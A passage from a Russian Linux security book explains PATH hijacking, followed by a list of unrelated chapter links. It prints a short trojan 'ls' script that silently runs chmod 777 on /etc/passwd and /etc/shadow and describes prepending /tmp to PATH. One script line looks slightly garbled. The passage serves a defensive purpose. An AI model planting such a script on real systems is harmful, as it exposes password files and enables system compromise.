Книга: Linux глазами хакера
14.12.4. Полный путь
14.12.4. Полный путь
Когда вы запускаете какие-либо команды или программы, то необходимо указывать полный путь к ним. Большинство пользователей и администраторов просто указывают имя запускаемого объекта, что может стать причиной взлома. Да что там говорить, я сам грешу вводом коротких команд
Рассмотрим пример того, как злоумышленник может использовать короткие имена в своих целях на примере команды ls
:
? хакер создает в каком-либо каталоге (например, в общедоступном /tmp) файл с таким же именем, как и у атакуемой программы;
? в этот файл может быть записан сценарий, который выполняет необходимые хакеру действия.
Например, следующий код может быть записан в такой файл:
#!/bin/sh
# Изменяем права доступа к файлам /etc/passwd и /etc/shadow
chmod 777 /etc/passwd > /dev/null
chmod 777 /etc/shadow > /dev/null
# Выполняем программу
ls exec /bin/ls "$@"
В данном примере выполняется всего три команды. Первые две изменяют права доступа к файлам /etc/passwd и /etc/shadow так, чтобы любой пользователь смог их прочитать. При этом все сообщения, которые могут возникнуть во время выполнения команд, направляются на нулевое устройство /dev/null, чтобы они не отображались на экране. После этого выполняется системная команда ls
из каталога bin
.
Теперь устанавливаем программе ls права, которые позволят выполнять ее любому пользователю:
chmod 777 /tmp/ls
Ложный файл готов. Теперь необходимо сделать так, чтобы он выполнялся вместо системной команды ls
. Для этого достаточно добавить в системную переменную окружения PATH
в самое начало каталог /tmp. Если теперь кто-либо запустит команду ls
без указания полного пути, то выполнится наш сценарий, который попытается изменить права доступа на файлы паролей. Если у пользователя, запустившего команду, хватит полномочий для изменения прав, то можно считать, что система взломана.
Следите за содержимым системной переменной окружения PATH
, чтобы ее никто не изменил.
- Часть II. Эволюция концепции «Путь Samsung»
- 5. С осторожностью собирайте «полный пакет»
- Сделать — значит увидеть: поймите путь к догадке
- 2.1.2. Неполный условный оператор
- Развитие эмпирического маркетинга – путь к исключительности
- 9.4.4. Есть ли в графе эйлеров путь?
- Полный список компонентов ПК
- Полный разгром
- Жизненный путь процесса
- Глава 10. Внутри круга: встаем на динамический путь клиента
- CreateShortcut("путь к ярлыку и его имя")
- Exec (путь и название исполняемого файла)